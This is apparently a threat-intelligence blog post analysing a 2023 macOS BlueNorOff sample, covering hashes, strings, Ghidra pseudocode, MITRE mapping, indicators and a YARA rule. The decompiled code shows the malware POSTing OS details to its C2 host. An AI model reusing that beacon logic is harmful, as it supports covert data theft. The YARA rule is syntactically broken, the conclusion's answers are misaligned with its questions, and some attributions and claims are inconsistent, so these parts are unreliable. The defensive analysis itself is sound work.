Summary #
Today we will be delving into the land of APT malware, focusing on a recent sample from late 2023 of BlueNorOff (also known as APT38 or STARDUST CHOLLIMA). BlueNorOff primarily focuses on financial cybercrime, deploying their bespoke malware to endpoints with a long-term view of exploiting a network for continued access and financial gain. Perhaps the most famous campaign to date from this threat actor was in 2016. The group leveraged the SWIFT network to illegally transfer close to US$1 billion worth of funds from the Federal Reserve Bank of New York belonging to the Bangladesh Bank. Additionally, BlueNorOff have been associated with other famous attacks such as WannaCry, Rawhide, TightVNC and DarkComet.
Hash Values #
Our sample was collected from VXUnderground and is available here
Hash | Value |
---|---|
MD5 | 4cb1802629c041c365e8ddf962cb9ef8 |
SHA1 | bc33f1a6c345e0452056ec08d25611b85c350b2e |
SHA256 | c704bd5c5cdc8d65ada8cf8c5c4a0f02e346de84d2a317443ae3eed796673f59 |
Goals of Analysis #
As always, before we complete our analysis of this sample, we will be establishing some clear goals for the exercise:
- What persistence mechanism, if any, does this malware use?
- Where does this communicate to?
- What are the capabilities of the malware?
- How can we remove/block it?
- Write a YARA rule
With these goals in mind, we delve into the initial analysis phase.
Initial Analysis #
Looking at VirusTotal #
A great starting point for any analysis can be to leverage open source tooling available. Generally speaking, VirusTotal is a solid way to investigate any given sample. You can get lucky and find some interesting pieces of information that have been identified by the community already, or conversely, be the first person or company to identify a new strain of a malicious object.
Note that you shouldn’t depend upon a tool such as VirusTotal to give you all the answers. It’s simply a good place to start, if the executable (or other malicious object) has been identified as malicious. It can give you information such as the threat actor that companies have attributed it to, or some idea about the capabilities of the malware (like C2 addresses and API calls).
In the instance of our BlueNorOff sample, it was indeed identified by VirusTotal as malicious. At time of writing this, 35 of 62 vendors identified it as malicious, labelling the threat actor in their signaturing as “Lazurus” or “BlueNorOff”. Interestingly, in the figure below, VirusTotal also informs us that our sample has a mach-o header, meaning it was designed to run on MacOS systems.
Figure 1: VirusTotal results for our sample
There are a bunch of other tabs of information available on VirusTotal which we would use to develop a deeper knowledge and understanding about this executable at this stage, however, that would ruin a lot of the fun of static analysis for us. So for this sample, we will stop here, moving onto strings analysis within Ghidra.
Investigating Strings #
After the initial investigation through VirusTotal, the best place to start when analysing any sample is to understand what strings are present in the binary. This can give you some immediate indications of the capabilities of the executable, if you’re lucky and it isn’t heavily obfuscated. In the case of this sample, I created a new project within Ghidra, and used the Defined Strings
module to ascertain any quick wins or a good place to really start static analysis.
It is worth spending some time in Ghidra adjusting your default layout(s). I generally have the following tabs saved as a current layout to ensure that each time I open Ghidra, I don’t need to make these adjustments every time, it just remembers my preferences.
Figure 2: Adjusted Ghidra layout
There are some very interesting strings present in this binary, some of which can be seen in the above figure:
"Command executed successfully"
"Failed to execute command: %@\n"
"http://swissborg[.]b"
"log/zxcv/bnm"
"resume"
"run"
"Response: %@"
"sdf:wsx","info","%@"
Why are these strings interesting? Great question! These strings give us some preliminary information about the potential capabilities of this malware. The presence of a command execution successfully/failed string suggests that this executable can be interacted with my the threat actor in some way. (ie. commands are pushed/sent to the malware to tell it what to do).
Additionally, a domain name has been baked into this executable. Initial glances at the string suggest that there might be more to this domain name than what is suggested in the defined string output, but this will naturally fall out of our analysis when we complete it.
The last two string entries are particularly interesting. One could be where the persistence mechanism could be found on disk, or potentially something to do with the domain. The final entry from the list seems to hint at commands that can be issued to the malware - this is based off of the failed to execute string, which has @%
defined as the failure.
Swissborg huh…
Out of complete curiousity, I did a quick search on Google for “swissborg” to see whether there was any reason for the particular use of this domain name. Interestingly, the results showed that swissborg[.]com
is a known cryptocurrency exchange website. It can safely be said then, that the threat actor is attempting to blend their C2 traffic. Likely, hoping that the user or entity that is looking at the domain name inbound/outbound connections, sees them as legitimate, not reading the entire domain name itself.
Of course, at this point, these are just assumptions based off of a quick cursory glance at the information available to us from strings. With this information in mind, we will delve into deeper static analysis and attempt to work out functions and confirm or disprove our assumptions.
Static Analysis #
The following analysis was performed using Ghidra.
Command & Control Infrastructure #
Taking the information that we learned above, I decided to first focus on the domain name that was found.
process_list = (*(code *)PTR__objc_msgSend_100004000)(&_OBJC_CLASS_$_NSProcessInfo,"processInfo");
process_list = _objc_retainAutoreleasedReturnValue(process_list);
OS_version = (*(code *)sendmessage)(process_list,"operatingSystemVersionString");
OS_version = _objc_retainAutoreleasedReturnValue(OS_version);
domain_name = (*(code *)sendmessage)
(&cf_http://swissborg.b,"stringByAppendingString:",&cf_log/zxcv/bnm);
domain_name = _objc_retainAutoreleasedReturnValue(domain_name);
I started renaming the variables in the Ghidra pseudocode to make it more sensical for the human eye to read. This is my general approach to analysis, fiddling with the variable names as I read through the code until the information makes sense to me. Of course, if deeper analysis reveals that this initial pass was incorrect, I change the variable names to things that are more sensible, given the extra information. For now, we are settling with the above.
The most interesting piece of information we see within the body of this pseudocode is that there is an append occurring for the domain name. This means that our domain is not simply swissborg[.]b
as we initially thought, but the full address is swissborg.blog/zxcv/bnm
. Additionally, the contextual information around this body of code tells us that messages are being sent to this address - more and more likely our C2 for this malware. The information the threat actor is interested is in line with general enumeration information, commonly seen across the majority of threat actors:
- Process list - this is significant because it informs the threat actor of anything that is running on the endpoint. Some threat actors are particularly interested in certain applications (like cryptocurrency wallets, to steal information), anti-virus software (it might change their risk appetite) and so on.
- Operating System version - like the above, there might be operation restrictions associated with their malware performing on certain variations of operating systems.
The next step is to take this domain name and seeing whether it resolves to an IP address. Unfortunately, at the time of writing this article, the domain did not point to any IP address. The significance of performing this action is that, by resolving it, you can complete additional searches on a dataset, such as VirusTotal, to see whether it has been previously used to perform malicious behaviours. This could also have the added benefit of providing more C2 domains to add to our investigation and repository for this threat actor.
Figure 3: Resolving the domain name using centralops
From this piece of pseudocode alone, we have collected a valuable piece of information - we have our C2 address, and we have some basic functionality of this piece of malware.
Comms with C2 #
Immediately succeeding the above domain information, the pseudocode informs us that the malware will attempt to make a HTTP request to said server, providing some specific information within the URL header as it sends off the message.
URL_request = (*(code *)sendmessage)
(&_OBJC_CLASS_$_NSMutableURLRequest,"requestWithURL:",url_string);
URL_request = _objc_retainAutoreleasedReturnValue(URL_request);
(*(code *)sendmessage)(URL_request,"setHTTPMethod:",&cf_POST);
(*(code *)sendmessage)
(URL_request,"setValue:forHTTPHeaderField:",&cf_application/json,&cf_Content-Type);
message_format =
(*(code *)sendmessage)
(&_OBJC_CLASS_$_NSString,"stringWithFormat:",&cf_{"sdf":"wsx","info":"%@"},
OS_version);
message_format = _objc_retainAutoreleasedReturnValue(message_format);
something_encoding_tmp = (*(code *)sendmessage)(message_format,"dataUsingEncoding:",4);
something_encoding_tmp = _objc_retainAutoreleasedReturnValue(something_encoding_tmp);
(*(code *)sendmessage)(URL_request,"setHTTPBody:",something_encoding_tmp);
Note that I initially called one of the variables
"something_encoding_tmp"
because I was not entirely sure about how it was performing this action, but, I wanted the code to be distinctly more human-readable. This became a temporary variable (and thus why I have_tmp
appended on the end of the name, to remind myself to go back and reanalyse this piece of code).
The header will contain:
- POST method
- application/json
- “sdf”:“wsx”,“info”:"%@" where
%@
is the operating system information that was collected from the endpoint
It will then be followed by the information it collected from the endpoint: operating system and process listing. Interestingly, analysis does not reveal much information about the first values of this string sdf:wsx
. It could be a campaign identifier for the C2 as the malware beacons in operating system information, but without any additional ability to analyse this further through ghidra, it remains an assumption. Irrespective, this information is then encoded and placed within the body of the HTTP request, sent back to the C2 infrastructure.
Understanding flow of execution #
The next step in our analysis is to understand the flow of execution when this malware runs. We achieve this by analysing the functions of the application.
API calls #
The following API calls are made within the main body of the malware. These calls enable the malware to perform various actions on the endpoint, inclusive of:
- Determining the operating system number
- Issuing an error message, when the malware’s commands fail
- Enabling sending of a message back to the C2 infrastructure
I have included this list below for future reference. Again, the Apple Developer documentation was my best friend here in understanding the contextual relevance of these calls within the flow of execution.
API | Description |
---|---|
NSLog | Logs an error message to the apple log facility |
NSString | Encodes a unicode-compliant text string, represented as a sequence of UTF-16 code units |
objc_msgSend | Sends a message with a simple return value to an instance of a class |
MITRE ATT&CK Framework #
Tactic or Technique | ID | Description |
---|---|---|
Command and Control - Web Protocols | T1071.001 | The threat actor is leveraging the HTTP POST method to communicate information back to their C2 infrastructure. |
System Information Discovery | T1082 | This malware pulls operating system information from the endpoint and transmits this information via HTTP POST requests back to C2 infrastructure. |
Process Discovery | T1057 | The malware gets information about running processes on the infected endpoint, transmitting that information back to C2 infrastructure. |
Signatures #
The simple structure of this malware has not afforded a comprehensive list of signaturable material for this sample. I have provided the unique identifiers of this malware below, in an effort to make a broad signature to capture instances of this sample running or present on an endpoint. Further exposure to this family of malware and perhaps deeper analysis of the sample would result in a more comprehensive YARA signature to ensure that it is as tight as it can be.
Host based Indicators #
Below is a condensed list of all the host indicators that were discovered during analysis of this sample.
Indicator | Description |
---|---|
"sdf":"wsx","info":"%@" |
Information of relevance to the threat actor that is sent back to C2 |
Failed to execute command: %@\n |
Error message recorded by malware, when a command has not successfully executed |
Network based Indicators #
Below is a condensed list of all the network indicators that were discovered during analysis of this sample.
Indicator | Description |
---|---|
http://swissborg[.]blog/zxcv/bnm |
Command and control address of threat actor using traffic blending to disguise themselves as a legitimate cryptocurrency website swissborg[.]com |
YARA #
rule bluenoroff_2023_11_macos_campaign
{
meta:
created = "2024/05/17"
modified = "2024/05/17"
author = "polaryse"
description = "Simple YARA rule to detect the presence of bluenoroff on macos"
strings:
domain_name = "swissborg.blog/zxcv/bnm"
error_code = "Failed to execute command: %@\n"
C2_message = "sdf":"wsx","info":"%@"
segmented_domain_1 = "swissborg.b"
segmented_domain_2 = "log/zxcv/bnm"
condition:
any of them
}
Conclusion #
This particular sample seems to have limited functionality, providing the process listing and operating system information back to the command and control infrastructure housed at the domain name swissborg[.]blog\zcxv\bnm
. From this analysis, it is not clear whether there is any persistence mechanism in place for this executable. The file is dropped on disk and the loop embedded within the program enables continued communications back to C2.
Returning to our initial goals: What persistence mechanism, if any, does this malware use?
- Where does this communicate to? the application persists on disk, though it does not seem to install itself into any known persistence locations on MacOS
- What are the capabilities of the malware? this sample has the ability to communicate via web protocols (HTTP POST) back to C2 infrastructure. It delivers information about the operating system of the infected endpoint back to the threat actor
- How can we remove/block it? *Creation of a robust YARA rule will result in blocking of this sample.
- Write a YARA rule provided within the scope of this report
Lessons Learned #
This was a very interesting sample to work through. I found myself rabbit holing a few times due to some level of unfamiliarity with MacOS. That being said, it proved to be quite an interesting research project in discovering function calls that MacOS malware leverages to elicit information from the endpoint. It definitely taught me a lot about how to appropriately search through MacOS documentation to figure out calls and how they work in the operating system.
Resources #
Resource | Description |
---|---|
Mac OS Developer Information | I used the developer information to figure out some of the function calls that were made within this malware sample. Always a very good reference and should be open and used whenever analysing a MacOS sample. |